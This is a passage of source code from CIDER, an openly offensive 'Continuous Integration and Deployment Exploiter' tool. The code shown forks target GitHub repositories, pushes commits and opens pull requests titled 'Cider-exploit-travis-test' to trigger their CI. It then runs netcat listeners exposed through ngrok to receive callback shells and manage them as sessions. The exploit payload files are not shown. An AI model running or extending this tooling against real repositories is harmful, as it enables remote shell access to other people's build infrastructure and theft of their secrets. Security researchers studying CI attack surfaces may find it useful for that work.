| token: token 114 | }); 115 | return callback(null, token, username); 116 | }); 117 | }, 118 | 119 | //Makes a single pull request 120 | makePullRequest: (token, type, reponame, branch, myowner, callback) => { 121 | // Target repo 122 | const repoarr = reponame.split("/"); 123 | switch (type) { 124 | case "forked": 125 | git.cwd(`${repodir}/${myowner}/${repoarr[1]}`) 126 | .checkoutLocalBranch(branch) 127 | .add('./*', () => {}) 128 | .commit('Cider commit') 129 | .push(['-u', 'origin', branch], (err) => { 130 | if (err) { 131 | log(chalk.red(`There was an error pushing the commits to master for ${myowner}:${branch}`)); 132 | } 133 | }) 134 | .exec(() => { 135 | const probj = { 136 | headers: { 137 | "Authorization": `token ${token}` 138 | }, 139 | owner: repoarr[0], 140 | repo: repoarr[1], 141 | title: 'Cider-exploit-travis-test', 142 | head: `${myowner}:${branch}`, 143 | base: 'master' 144 | }; 145 | github.pullRequests.create(probj).catch(e => { 146 | log(chalk.red(`ERROR making pull request against the repo ${reponame} for user ${myowner}: \n ${e}`)); 147 | }); 148 | return callback(); 149 | }); 150 | break; 151 | default: 152 | const push_promise = git.cwd(`${repodir}/${reponame}`) 153 | .checkoutLocalBranch(branch) 154 | .add('./*', () => {}) 155 | .commit('cider test message') 156 | .push(['-u', 'origin', branch], (err) => { 157 | if (err) { 158 | log(chalk.red(`There was an error pushing the commits to master for ${reponame}...\n${err}`)); 159 | } 160 | }) 161 | .exec(() => { 162 | const probj = { 163 | headers: { 164 | "Authorization": `token ${token}` 165 | }, 166 | owner: repoarr[0], 167 | repo: repoarr[1], 168 | title: 'Cider-exploit-travis-test', 169 | head: branch, 170 | base: 'master' 171 | }; 172 | 173 | github.pullRequests.create(probj).catch(e => { 174 | log(chalk.red(`ERROR making pull Request: \n ${e}`)); 175 | }); 176 | return callback(); 177 | }); 178 | break; 179 | } 180 | }, 181 | 182 | checkRemoteBranchExists: () => { 183 | 184 | }, 185 | 186 | resetRepo: (reponame) => { 187 | const repoarr = reponame.split("/"); 188 | git.cwd(`${repodir}/${reponame}`) 189 | .checkoutLocalBranch("master") 190 | .pull(); 191 | }, 192 | } -------------------------------------------------------------------------------- /src/lib/menu.js: -------------------------------------------------------------------------------- 1 | const chalk = require('chalk'), 2 | clear = require('clear'), 3 | figlet = require('figlet'), 4 | log = console.log; 5 | 6 | 7 | // 8 | module.exports = { 9 | printBanner: () => { 10 | //Print banner 11 | clear(); 12 | log( 13 | chalk.green( 14 | figlet.textSync('\nCIDER', { 15 | horizontalLayout: 'full' 16 | }) 17 | ) 18 | ); 19 | log(chalk.yellow("Continuous Integration and Deployment Exploiter")); 20 | log(chalk.blue( 21 | "-----------------------------------------------", 22 | "\nMaintained by spaceB0x - Twitter: @spaceB0xx ", 23 | "\n-----------------------------------------------" 24 | )); 25 | }, 26 | 27 | startSpinner: () => { 28 | authStatus.start(); 29 | }, 30 | 31 | stopSpinner: () => { 32 | authStatus.stop(); 33 | }, 34 | 35 | printHelp: () => { 36 | //Print help menu 37 | clear(); 38 | log("------------------", "\n Basic Commands |", "\n------------------\n"); 39 | log(chalk.cyan(' help') + chalk.gray('\t\t\t=> Prints this very help menu')); 40 | log(chalk.cyan(' exit') + chalk.gray('\t\t\t=> Exits CIDER')); 41 | log(chalk.cyan(' login [SERVICE]') + chalk.gray('\t=> Login to GitHub or Ngrok')); 42 | log(chalk.cyan(' github')); 43 | log(chalk.cyan(' ngrok')); 44 | log(chalk.cyan(' clear') + chalk.gray('\t\t\t=> Clear screen')); 45 | log("\n"); 46 | log("--------------------", "\n Exploit Commands |", "\n--------------------\n"); 47 | log(chalk.cyan(' list') + chalk.gray('\t\t\t=> Lists assets based on the options give')); 48 | log(chalk.cyan(' targets') + chalk.gray('\t\t=> Prints all targets in target list')); 49 | log(chalk.cyan(' repos') + chalk.gray('\t\t=> Prints repositories currently pulled down.')); 50 | log(chalk.cyan(' exploits') + chalk.gray('\t\t=> Prints available exploits.')); 51 | log(chalk.gray(' \t\t\t These may or may not match targets list')); 52 | log(chalk.cyan(' load [EXPLOIT]') + chalk.gray('\t=> Load an exploit')); 53 | log(chalk.cyan(' unload') + chalk.gray('\t\t=> Unload currently loaded exploit. No paramaters necessary.')); 54 | log(chalk.cyan(' info') + chalk.gray('\t\t\t=> Provide information about a loaded exploit. Must have exploit loaded.')); 55 | log(chalk.cyan(' run') + chalk.gray('\t\t\t=> Use the currently loaded exploit against target list')); 56 | log(chalk.cyan(' sessions') + chalk.gray('\t\t=> Migrate to sessions mode to manage callback sessions/shells')); 57 | log(chalk.cyan(' add') + chalk.gray('\t\t\t=> Add a target by specifying so')); 58 | log(chalk.cyan(' target [TARGET]') + chalk.gray('\t=> Parameter to "add" command, in form repo_owner/repo_name')); 59 | log(chalk.cyan(' remove') + chalk.gray('\t\t=> Remove a target by specifying so')); 60 | log(chalk.cyan(' target [TARGET]') + chalk.gray('\t=> Parameter to "remove" command, in form repo_owner/repo_name')); 61 | log("\n"); 62 | 63 | }, 64 | 65 | clearScreen: () => { 66 | clear(); 67 | }, 68 | 69 | printListHelp: () => { 70 | clear(); 71 | 72 | } 73 | } -------------------------------------------------------------------------------- /src/lib/ng.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | fs = require('fs'), 3 | chalk = require('chalk'), 4 | inquirer = require('inquirer'), 5 | files = require('./files'), 6 | configdir = __dirname + '/../../configs', 7 | //Preferences = require('preferences'), 8 | Preferences = require(__dirname + '/preferences'); 9 | 10 | module.exports = { 11 | 12 | // Grabs ngrok 13 | getNgrokToken: (callback) => { 14 | const questions = [{ 15 | name: 'token', 16 | type: 'password', 17 | message: 'Enter your Ngrok token:', 18 | validate: function (value) { 19 | if (value.length) { 20 | return true; 21 | } 22 | else { 23 | return 'Please enter your Ngrok Token. It can be found by signing in to your Ngrok account.'; 24 | } 25 | } 26 | }]; 27 | inquirer.prompt(questions).then(callback); 28 | }, 29 | 30 | 31 | // checks for ngrok prefs and requests them if they don't exist 32 | // returns (err, token) 33 | ngrokAuth: (callback) => { 34 | if(!files.fileExists(`${configdir}/ngrok.pref`)){ 35 | fs.openSync(`${configdir}/ngrok.pref`, 'a'); 36 | } 37 | const prefs = new Preferences('ngrok'); 38 | if (prefs.ngrok && prefs.ngrok.token) { 39 | log(chalk.green("Ngrok token found")); 40 | return callback(null, prefs.ngrok.token); 41 | } 42 | else { 43 | module.exports.getNgrokToken((creds) => { 44 | prefs.ngrok = { 45 | token: creds.token 46 | }; 47 | return callback(null, creds.token); 48 | }); 49 | } 50 | } 51 | } -------------------------------------------------------------------------------- /src/lib/preferences.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | /* 4 | This code was take from the original npm node module 'preferences' 5 | So Thanks to Lastguess on gitHub for this. Some small changes were 6 | needed so the code was ported locally. 7 | */ 8 | 9 | function Preferences(id, defs, options) { 10 | options = options || { 11 | key: null 12 | } 13 | var self = this 14 | var identifier = id.replace(/[\/\?<>\\:\*\|" :]/g, '.').replace(/\.+/g, '.') 15 | var path = require('path') 16 | var homedir = require('os-homedir')() 17 | var dirpath = path.join(__dirname + '/../../configs') 18 | var filepath = path.join(dirpath, identifier + '.pref') 19 | var fs = require('fs') 20 | var writeFileAtomic = require('write-file-atomic') 21 | var mkdirp = require('mkdirp') 22 | var crypto = require('crypto') 23 | var password = (function () { 24 | var key = options.key || path.join(homedir, '.ssh', 'id_rsa') 25 | try { 26 | // Use private SSH key or... 27 | return fs.readFileSync(key).toString('utf8') 28 | } catch (e) { 29 | // ...fallback to an id dependant password 30 | return 'PREFS-' + identifier 31 | } 32 | })() 33 | var savePristine = false 34 | var savedData = null 35 | 36 | function encode(text) { 37 | var cipher = crypto.createCipher('aes128', password) 38 | return cipher.update(new Buffer(text).toString('utf8'), 'utf8', 'hex') + cipher.final('hex') 39 | } 40 | 41 | function decode(text) { 42 | var decipher = crypto.createDecipher('aes128', password) 43 | return decipher.update(String(text), 'hex', 'utf8') + decipher.final('utf8') 44 | } 45 | 46 | function save() { 47 | var payload = encode(String(JSON.stringify(self) || '{}')) 48 | try { 49 | mkdirp.sync(dirpath, parseInt('0700', 8)) 50 | writeFileAtomic.sync(filepath, payload, { 51 | mode: parseInt('0666', 8) 52 | }) 53 | } catch (err) {} 54 | } 55 | 56 | try { 57 | // Try to read and decode preferences saved on disc 58 | savedData = JSON.parse(decode(fs.readFileSync(filepath, 'utf8'))) 59 | } catch (err) { 60 | // Read error (maybe file doesn't exist) so update with defaults 61 | savedData = defs || {} 62 | savePristine = true 63 | } 64 | 65 | // Clone object 66 | for (var o in savedData) self[o] = savedData[o] 67 | 68 | // Config file was empty, save default values 69 | savePristine && save() 70 | 71 | 72 | // Save all on program exit 73 | process.on('exit', save) 74 | 75 | // If supported observe object for saving on modify 76 | if (Object.observe) Object.observe(self, save) 77 | 78 | return self 79 | } 80 | 81 | module.exports = Preferences -------------------------------------------------------------------------------- /src/lib/prompt.js: -------------------------------------------------------------------------------- 1 | const chalk = require('chalk'), 2 | readline = require('readline'), 3 | path = require('path'), 4 | util = require('util'), 5 | menu = require(__dirname + '/menu'), 6 | stream = require('stream'), 7 | log = console.log, 8 | clear = require('clear'), 9 | github = require(__dirname + '/gh'), 10 | repos = require(__dirname + '/repos'), 11 | travis = require(__dirname + '/../modules/travis'), 12 | expdir = path.resolve(__dirname + '/../exploits'), 13 | exp = require(__dirname + '/exp'), 14 | targets = require(__dirname + '/targets'), 15 | ncserver = require(__dirname + '/server'), 16 | sessions = require(__dirname + '/sessions'), 17 | ng = require(__dirname + '/ng'); 18 | 19 | let loaded_exploit; 20 | 21 | // Define some pivotal global arrays 22 | global.shells_arr = []; 23 | global.duplexInput_arr = []; 24 | global.duplexOutput_arr = []; 25 | global.session_name_arr = []; 26 | global.session_exploit_arr = []; 27 | 28 | /* Main Prompt function. The central nervous system of CIDER */ 29 | 30 | function mainPrompt() { 31 | let add_prompt; 32 | if (loaded_exploit) { 33 | add_prompt = ` [${chalk.red(loaded_exploit.name())}]`; 34 | } 35 | else { 36 | add_prompt = ''; 37 | } 38 | 39 | var rl = readline.createInterface({ 40 | input: process.stdin, 41 | output: process.stdout, 42 | prompt: `CIDER${add_prompt} > ` 43 | }); 44 | 45 | rl.prompt(); 46 | rl.on('line', (line) => { 47 | linearr = line.trim().split(" "); 48 | 49 | rl.pause(); 50 | switch (linearr[0].trim()) { 51 | case 'help': 52 | menu.printHelp(); 53 | rl.prompt(); 54 | break; 55 | case 'exit': 56 | log('Thanks for using CIDER. Goodbye!'); 57 | process.exit(0); 58 | break; 59 | case 'login': 60 | rl.close(); 61 | if (linearr[1] == "github") { 62 | github.githubAuth((err, authed, username) => { 63 | mainPrompt(); 64 | }); 65 | break; 66 | } else if (linearr[1] == "ngrok") { 67 | ng.ngrokAuth((err, token) => { 68 | mainPrompt(); 69 | }); 70 | break; 71 | } else { 72 | log(chalk.red("Please specify which service to provide credentials for")); 73 | log(chalk.yellow("Examples: 'login github' or 'login ngrok'")); 74 | mainPrompt(); 75 | break; 76 | } 77 | case 'clear': 78 | menu.clearScreen(); 79 | rl.prompt(); 80 | break; 81 | case 'add': 82 | rl.close(); 83 | if (linearr[1] == "target") { 84 | if (linearr[2]) { 85 | targets.addTarget(linearr[2], () => { 86 | mainPrompt(); 87 | }); 88 | break; 89 | } else { 90 | log(chalk.red("Must provide a target to add to list")); 91 | mainPrompt(); 92 | break; 93 | } 94 | } else if (linearr[1]) { 95 | log(chalk.red(`${linearr[1]} is not recognized as something to add`)); 96 | mainPrompt(); 97 | break; 98 | } else { 99 | log(chalk.red("Please provide something to add (like a target). eg. 'add target '")); 100 | mainPrompt(); 101 | break; 102 | } 103 | 104 | case 'remove': 105 | rl.close(); 106 | if (linearr[1] == "target") { 107 | if (linearr[2]) { 108 | targets.removeTarget(linearr[2], () => { 109 | mainPrompt(); 110 | }); 111 | break; 112 | } else { 113 | log(chalk.red("Must provide a target to remove from target list")); 114 | mainPrompt(); 115 | break; 116 | } 117 | } else if (linearr[1]) { 118 | log(chalk.red(`${linearr[1]} is not recognized as something to remove`)); 119 | mainPrompt(); 120 | break; 121 | } else { 122 | log(chalk.red("Please provide something to remove (like a target). eg. 'remove target '")); 123 | mainPrompt(); 124 | break; 125 | } 126 | case 'list': 127 | rl.close(); 128 | if (linearr[1] == "targets") { 129 | targets.printTargets(() => { 130 | mainPrompt(); 131 | }); 132 | break; 133 | } else if (linearr[1] == "exploits") { 134 | exp.printExploits(); 135 | mainPrompt(); 136 | break; 137 | } else { 138 | mainPrompt(); 139 | break; 140 | } 141 | case 'run': 142 | rl.close(); 143 | if (loaded_exploit) { 144 | if (exp.exploitExists(loaded_exploit.name())) { 145 | loaded_exploit.run(() => { 146 | mainPrompt(); 147 | }); 148 | break; 149 | } else { 150 | log(chalk.red(`Exploit ${loaded_exploit.name()} does not exist`)); 151 | mainPrompt(); 152 | break; 153 | } 154 | } else { 155 | log(chalk.red("No exploit module provided")); 156 | mainPrompt(); 157 | break; 158 | } 159 | case 'load': 160 | rl.close(); 161 | if (linearr[1]) { 162 | if (exp.exploitExists(linearr[1])) { 163 | loaded_exploit = require(`${expdir}/${linearr[1]}/exploit.js`); 164 | mainPrompt(); 165 | break; 166 | } else { 167 | log(chalk.red(`Exploit ${linearr[1]} does not exist`)); 168 | } 169 | //code to load exploit 170 | } else { 171 | log(chalk.red("No exploit module provided")); 172 | mainPrompt(); 173 | break; 174 | } 175 | case 'unload': 176 | rl.close(); 177 | loaded_exploit = null; 178 | mainPrompt(); 179 | break; 180 | case 'info': 181 | rl.close(); 182 | if (loaded_exploit) { 183 | clear(); 184 | loaded_exploit.info(() => { 185 | mainPrompt(); 186 | }); 187 | break; 188 | } else { 189 | log(chalk.red("No exploit loaded. Load an exploit to get information about it")); 190 | mainPrompt(); 191 | break; 192 | } 193 | case 'sessions': 194 | rl.close(); 195 | clear(); 196 | sessions.sessionPrompt((num) => { 197 | if (num) { 198 | sessionLoop(); 199 | } else { 200 | mainPrompt(); 201 | } 202 | }); 203 | break; 204 | case 'test': 205 | rl.close(); 206 | const a = targets.isTarget("spacetesterson/cidertest8"); 207 | log(a); 208 | 209 | break; 210 | default: 211 | log(chalk.red(`'${line.trim()}' is an unknown command`)); 212 | log(chalk.yellow(`Type 'help' for a list of commands`)); 213 | rl.prompt(); 214 | break; 215 | } 216 | }).on('close', () => {}); 217 | } 218 | 219 | function sessionLoop() { 220 | sessions.sessionPrompt(sessionCB); 221 | } 222 | 223 | function sessionCB(num) { 224 | if (num) { 225 | sessionLoop(); 226 | } 227 | else { 228 | mainPrompt(); 229 | } 230 | } 231 | 232 | //Module exports 233 | module.exports = { 234 | mainPrompt: mainPrompt 235 | } -------------------------------------------------------------------------------- /src/lib/repos.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | https = require('http'), 3 | chalk = require('chalk'), 4 | clear = require('clear'), 5 | crypto = require('crypto'), 6 | fs = require('fs'), 7 | files = require(__dirname + '/files'), 8 | red =chalk.red; 9 | readline = require('readline'), 10 | repolist = __dirname + '/../../configs/repos', 11 | repodir = __dirname + '/../../repos', 12 | GitHubApi = require('github'), 13 | github = new GitHubApi({version: '3.0.1'}), 14 | git = require('simple-git')(), 15 | gh = require(__dirname + '/gh'), 16 | path = require('path'), 17 | Preferences = require('preferences'), 18 | _ = require('lodash'); 19 | 20 | 21 | module.exports = { 22 | 23 | /* --------------------- 24 | CLONE METHODS 25 | ------------------------*/ 26 | 27 | // Clone a single repository 28 | // type - is either 'direct' or 'fork'. 29 | // If type is the string `fork`, then it will supplement the target repo 30 | // owner name, with that of the authed user. This should only be used 31 | // after checks further upthe stack have been perfomed to make sure the 32 | // forks exist. 33 | cloneRepo: (type, repo_name, authed_user, callback) => { 34 | 35 | dirs_arr = repo_name.split('/'); 36 | var reponame; 37 | if (type == "forked") { 38 | reponame = `${authed_user}/${dirs_arr[1]}`; 39 | } 40 | else { 41 | reponame = repo_name; 42 | } 43 | 44 | //Check if repo has been cloned 45 | if (module.exports.repoIsCloned(reponame)) { 46 | log(chalk.yellow(`Repo ${reponame} is already cloned`)); 47 | return callback(); 48 | } 49 | // If organization folder exists 50 | else if (files.directoryExists(`${repodir}/${dirs_arr[0]}`)) { 51 | // If git repo found 52 | if (!files.directoryExists(`${repodir}/${reponame}/.git`) && !files.directoryExists(`${repodir}/${reponame}`)) { 53 | log(chalk.green(`Cloning github.com/${reponame}.git`)); 54 | git.clone(`https://github.com/${reponame}.git`, `${repodir}/${reponame}`, () => { 55 | log(chalk.green(`https://github.com/${reponame}.git cloned successfully`)); 56 | return callback(); 57 | }); 58 | } 59 | else { 60 | log(chalk.yellow(`The repo ${reponame} already exists`)); 61 | return callback(); 62 | } 63 | 64 | 65 | } 66 | else { 67 | // Make org folder, and clone repo 68 | try { 69 | fs.mkdirSync(`${repodir}/${dirs_arr[0]}`) 70 | } catch(err){ 71 | if(err){ 72 | log(`Error is ${err}`) 73 | } 74 | }; 75 | // try {fs.mkdirSync(`${repodir}/${reponame}`)} 76 | // catch(err){ 77 | // if(err){ 78 | // log(`Error is poop ${err}`) 79 | // } 80 | // }; 81 | git.clone(`https://github.com/${reponame}.git`, `${repodir}/${reponame}`, () => { 82 | log(chalk.green(`https://github.com/${reponame}.git cloned successfully`)); 83 | return callback(); 84 | }); 85 | } 86 | }, 87 | 88 | //Clone all repositories in targets list 89 | // type - is either 'direct' or 'fork'. 90 | cloneAllRepos: (type, authed_user, callback) => { 91 | const rd = readline.createInterface({ 92 | input: fs.createReadStream(repolist) 93 | }); 94 | 95 | const promises = []; 96 | rd.on('line', (line) => { 97 | promises.push(new Promise((resolve, reject) => { 98 | module.exports.cloneRepo(type, line, authed_user, () => { 99 | resolve(); 100 | }); 101 | })); 102 | }).on('close', () => { 103 | Promise.all(promises) 104 | .then(c => { 105 | return callback(); 106 | }).catch(e => { 107 | log(`${e}`); 108 | return callback(); 109 | }); 110 | }); 111 | }, 112 | 113 | // Check if repo has been cloned 114 | repoIsCloned: (reponame) => { 115 | return (fs.existsSync(`${repodir}/${reponame}`) && fs.existsSync(`${repodir}/${reponame}/.git`)); 116 | }, 117 | 118 | 119 | /* ------------------------ 120 | PULL REQUEST METHODS 121 | --------------------------*/ 122 | 123 | // Make pull request for all targets 124 | pullRequestAll: (token, type, authed_user, list, callback) => { 125 | 126 | const hexstring = crypto.randomBytes(Math.ceil(12 / 2)).toString('hex').slice(0, 12), 127 | branch = `cider-${hexstring}`; 128 | 129 | const promises = []; 130 | for (let line in list) { 131 | promises.push(new Promise((resolve, reject) => { 132 | gh.makePullRequest(token, type, list[line], branch, authed_user, () => { 133 | resolve(); 134 | }); 135 | }).catch(err => { 136 | reject(); 137 | log(err); 138 | })); 139 | } 140 | Promise.all(promises) 141 | .then(c => { 142 | return callback(); 143 | }) 144 | .catch(e =>{ 145 | if(e){ 146 | log(chalk.red(`Error with pullRequestAll ${e}`)); 147 | } 148 | }); 149 | // var rd = readline.createInterface({ 150 | // input: fs.createReadStream(repolist) 151 | // }); 152 | // rd.on('line', (line) => { 153 | // //promises.push(module.exports.loadTravisConfig(exploit, type, authed_user, line).catch("Test")) 154 | // promises.push(new Promise((resolve, reject) => { 155 | // gh.makePullRequest(token, type, line, branch, authed_user, () => { 156 | // resolve(); 157 | // }); 158 | // }).catch(err => { 159 | // log(err); 160 | // })) 161 | // }).on('close', () => { 162 | // Promise.all(promises) 163 | // .then(c => { 164 | // status.stop(); 165 | // return callback(); 166 | // }) 167 | // }); 168 | }, 169 | 170 | /* --------------------- 171 | FORK METHODS 172 | ------------------------*/ 173 | // Checks if forked repo exists and is .git repo 174 | forkedRepoIsCloned: (reponame) => { 175 | return (fs.existsSync(`${repodir}/forked/${reponame}`) && fs.existsSync(`${repodir}/forked/${reponame}/.git`)); 176 | }, 177 | 178 | //Check if fork exists in authenticated user's repo 179 | forkExists: (reponame, token, authed_user, callback) => { 180 | var repo_arr = reponame.split("/"); 181 | github.repos.getForks({ 182 | headers: { 183 | "Authorization": `token ${token}` 184 | }, 185 | owner: repo_arr[0], 186 | repo: repo_arr[1], 187 | }, (err, res) => { 188 | if (err) { 189 | log(err); 190 | return callback(false); 191 | } 192 | else if (res) { 193 | const data_arr = res.data, 194 | full_name_array = _.map(data_arr, 'full_name'); 195 | if (err) { 196 | log(err); 197 | return callback(false); 198 | } 199 | else if (full_name_array.includes(`${authed_user}/${repo_arr[1]}`)) { 200 | return callback(true); 201 | } 202 | else { 203 | return callback(false); 204 | } 205 | } 206 | else { 207 | log(chalk.red("Could not find a response to the request for forks")); 208 | return callback(false); 209 | } 210 | }); 211 | }, 212 | 213 | // Fork the target repo for the authenticated user 214 | requestFork: (reponame, token, callback) => { 215 | repo_arr = reponame.split("/"); 216 | 217 | github.repos.fork({ 218 | headers: { 219 | "Authorization": `token ${token}` 220 | }, 221 | owner: repo_arr[0], 222 | repo: repo_arr[1], 223 | }, (err, res) => { 224 | if (err) { 225 | log(chalk.red(`There was a problem forking the repo: ${err}`)); 226 | return callback(); 227 | } 228 | else { 229 | return callback(); 230 | } 231 | }); 232 | }, 233 | 234 | // Fork a single repo 235 | forkRepo: (reponame, token, authed_user, callback) => { 236 | dirs_arr = reponame.split('/'); 237 | 238 | //Check if repo already forked 239 | module.exports.forkExists(reponame, token, authed_user, (exists) => { 240 | if (exists) { 241 | log(chalk.yellow(`Repo ${reponame} already forked for user ${authed_user}`)); 242 | return callback(); 243 | } 244 | else { 245 | // If organization folder exists 246 | module.exports.requestFork(reponame, token, () => { 247 | log(chalk.green(`https://github.com/${reponame}.git forked successfully`)); 248 | return callback(); 249 | }); 250 | } 251 | }); 252 | }, 253 | 254 | // Fork all targets 255 | forkAll: (token, authed_user, callback) => { 256 | //Read targets into array 257 | const rd = readline.createInterface({ 258 | input: fs.createReadStream(repolist) 259 | }); 260 | 261 | // Readlines, call forkRepo for each line 262 | // must wrap these in a Promise wrapper to deal with race conditions 263 | const promises = []; 264 | rd.on('line', (line) => { 265 | promises.push(new Promise((resolve, reject) => { 266 | module.exports.forkRepo(line, token, authed_user, () => { 267 | resolve(); 268 | }); 269 | })); 270 | }).on('close', () => { 271 | Promise.all(promises) 272 | .then(c => { 273 | return callback(); 274 | }); 275 | }); 276 | }, 277 | } -------------------------------------------------------------------------------- /src/lib/server.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | ngrok = require('ngrok'), 4 | stream = require('stream'), 5 | Duplex = stream.Duplex, 6 | util = require('util'), 7 | NetcatServer = require('netcat/server'), 8 | nc = new NetcatServer(), 9 | base_port = 4444; 10 | 11 | module.exports = { 12 | //start a single netcat listener given a port 13 | // return the nc server and associated duplex stream 14 | startNetcatListener: async(port, callback) => { 15 | // Establish reader/writer streams 16 | var duplexIn = createDuplexStream(), 17 | duplexOut = createDuplexStream(), 18 | nc = new NetcatServer(); 19 | await nc.port(port) 20 | .listen() 21 | .k() 22 | .serve(duplexIn) 23 | .on('ready', () => { 24 | log(chalk.green(`Netcat listening locally on port ${port}`)); 25 | return callback(nc, duplexIn, duplexOut); 26 | }) 27 | .on('connection', () => { 28 | log(chalk.green("The eagle has landed!")); 29 | }) 30 | .on('end', () => { 31 | log(chalk.red("Client ended the connection...")); 32 | }) 33 | .pipe(duplexOut); 34 | 35 | return nc; 36 | }, 37 | 38 | // Starts a netcat instance for each 39 | // returns two arrays, one of the netcat listeners and one for respective ports 40 | startNetcatAll: (targets, callback) => { 41 | let dupIn_arr = [], 42 | dupOut_arr = [], 43 | nc_arr = [], 44 | ports_arr = [], 45 | promises = [], 46 | startport = base_port + module.exports.getNumberOfShells(); 47 | for (let s = 0; s < targets.length; s++) { 48 | promises.push(new Promise((resolve, reject) => { 49 | module.exports.startNetcatListener((startport + s), (nc, din, dout) => { 50 | ports_arr[s] = startport + s; 51 | dupIn_arr[s] = din; 52 | dupOut_arr[s] = dout 53 | nc_arr[s] = nc; 54 | resolve(); 55 | }) 56 | }).catch(err => { 57 | log(err); 58 | })) 59 | } 60 | Promise.all(promises) 61 | .then(c => { 62 | return callback(nc_arr, ports_arr, dupIn_arr, dupOut_arr); 63 | }) 64 | }, 65 | 66 | startNetcatTempListener: async(callback) => { 67 | // Establish reader/writer streams 68 | let port = base_port + module.exports.getNumberOfShells() + 1000 69 | const duplex = createDuplexStream(), 70 | nc = new NetcatServer(); 71 | await nc.port(port) 72 | .listen() 73 | .k() 74 | .serve(null) 75 | .on('ready', () => { 76 | log(chalk.green(`Netcat listening locally on port ${port}`)); 77 | return callback(nc, duplex, port); 78 | }) 79 | .on('connection', () => { 80 | log(chalk.green("The eagle has landed!")); 81 | }) 82 | .pipe(duplex); 83 | return nc; 84 | }, 85 | 86 | startNgrokConnect: (port, token, callback) => { 87 | const server = ngrok.connect({ 88 | proto: 'tcp', 89 | addr: port, 90 | authtoken: token 91 | }, (err, url) => { 92 | if (err) { 93 | log(chalk.red(`Error with startNgrokConnect: ${err}`)) 94 | return callback(err); 95 | } 96 | else { 97 | let host_port_arr = url.replace("tcp://", "").split(':'), 98 | h = host_port_arr[0], 99 | p = host_port_arr[1]; 100 | return callback(null, h, p, server, url); 101 | } 102 | }) 103 | }, 104 | 105 | /*returns arrays of all of all of the same 106 | values that startNgrokConnect returns 107 | Determines how many instances of ngrok to start based on the number of netcat ports */ 108 | startNgrokAll: (portslist, token, callback) => { 109 | let promises = [], 110 | err_arr = [], 111 | hosts_arr = [], 112 | ports_arr = [], 113 | server_arr = [], 114 | url_arr = []; 115 | for (let s = 0; s < portslist.length; s++) { 116 | promises.push(new Promise((resolve, reject) => { 117 | module.exports.startNgrokConnect(portslist[s], token, (err, host, port, server, url) => { 118 | if (err) { 119 | reject(err); 120 | } 121 | hosts_arr[s] = host; 122 | ports_arr[s] = port; 123 | server_arr[s] = server; 124 | url_arr[s] = url; 125 | resolve(); 126 | }) 127 | })) 128 | } 129 | Promise.all(promises) 130 | .then(c => { 131 | return callback(null, hosts_arr, ports_arr, server_arr, url_arr); 132 | }) 133 | .catch(e => { 134 | log(chalk.red(`Error with startNgrokAll ${e}`)) 135 | return callback(e) 136 | }) 137 | }, 138 | 139 | attachSession: (name, callback) => { 140 | 141 | }, 142 | 143 | pause: (milliseconds) => { 144 | let dt = new Date(); 145 | while ((new Date()) - dt <= milliseconds) {} 146 | }, 147 | 148 | getNumberOfShells: () => { 149 | if (!global.shells_arr) { 150 | return 0 151 | } 152 | else { 153 | return global.shells_arr.length; 154 | } 155 | }, 156 | } 157 | 158 | /* Creates and returns a duplex stream */ 159 | function createDuplexStream() { 160 | function duplexFunc() { 161 | if (!(this instanceof duplexFunc)) { 162 | return new duplexFunc(); 163 | } 164 | Duplex.call(this); 165 | } 166 | util.inherits(duplexFunc, Duplex); 167 | duplexFunc.prototype._write = (chunk, enc, cb) => { 168 | duplex.push(chunk); 169 | cb(); 170 | }; 171 | duplexFunc.prototype._read = (x) => {}; 172 | const duplex = new duplexFunc(); 173 | return duplex; 174 | } -------------------------------------------------------------------------------- /src/lib/sessions.js: -------------------------------------------------------------------------------- 1 | const chalk = require('chalk'), 2 | readline = require('readline'), 3 | path = require('path'), 4 | menu = require(__dirname + '/menu'), 5 | log = console.log, 6 | clear = require('clear'), 7 | _ = require('lodash'), 8 | //var main_prompt = require(__dirname + '/prompt'); 9 | github = require(__dirname + '/gh'), 10 | repos = require(__dirname + '/repos'), 11 | travis = require(__dirname + '/../modules/travis'), 12 | expdir = path.resolve(__dirname + '/../exploits'), 13 | exp = require(__dirname + '/exp'), 14 | targets = require(__dirname + '/targets'), 15 | ncserver = require(__dirname + '/server'), 16 | ng = require(__dirname + '/ng'); 17 | 18 | let loaded_session; 19 | 20 | const serv_arr = []; 21 | 22 | function sessionPrompt(callback) { 23 | let add_prompt = ''; 24 | const rl = readline.createInterface({ 25 | input: process.stdin, 26 | output: process.stdout, 27 | prompt: `SESSIONS${add_prompt} > ` 28 | }); 29 | 30 | rl.prompt(); 31 | rl.on('line', (line) => { 32 | linearr = line.trim().split(" "); 33 | 34 | rl.pause(); 35 | switch (linearr[0].trim()) { 36 | case 'help': 37 | printSessionHelp(); 38 | rl.prompt(); 39 | break; 40 | case 'clear': 41 | clear(); 42 | rl.prompt(); 43 | break; 44 | case 'back': 45 | rl.close(); 46 | return callback(0); 47 | break; 48 | case 'list': 49 | clear(); 50 | listSessions(); 51 | rl.prompt(); 52 | break; 53 | case 'select': 54 | rl.close(); 55 | if (linearr[1] && isSession(linearr[1])) { 56 | if (linearr[1].includes("/")) { 57 | loadSession(linearr[1], () => { 58 | return callback(1); 59 | }); 60 | } 61 | else { 62 | log(chalk.red("Invalid. Session does not exist.")); 63 | return callback(1); 64 | } 65 | } 66 | else { 67 | log(chalk.red("You must pick a valid session to select.")); 68 | return callback(1); 69 | } 70 | break; 71 | case 'test': 72 | log(loaded_session); 73 | break; 74 | default: 75 | log(chalk.red(`'${line.trim()}' is an unknown command`)); 76 | log(chalk.yellow(`Type 'help' for a list of commands`)); 77 | 78 | rl.prompt(); 79 | break; 80 | } 81 | }).on('close', () => { 82 | 83 | }); 84 | } 85 | 86 | function loadSession(session, callback) { 87 | clear(); 88 | log(`SESSION [${chalk.red(session)}]`); 89 | loaded_session = session; 90 | let duplexIn = global.duplexInput_arr[_.indexOf(global.session_name_arr, session)], 91 | duplexOut = global.duplexOutput_arr[_.indexOf(global.session_name_arr, session)]; 92 | 93 | if (duplexIn.isPaused()) { 94 | duplexIn.resume(); 95 | } 96 | if (duplexOut.isPaused()) { 97 | duplexOut.resume(); 98 | } 99 | 100 | process.stdin.pipe(duplexIn); 101 | duplexOut.pipe(process.stdout); 102 | let rs = readline.createInterface({ 103 | input: duplexIn, 104 | output: duplexOut, 105 | prompt: '' 106 | }); 107 | 108 | 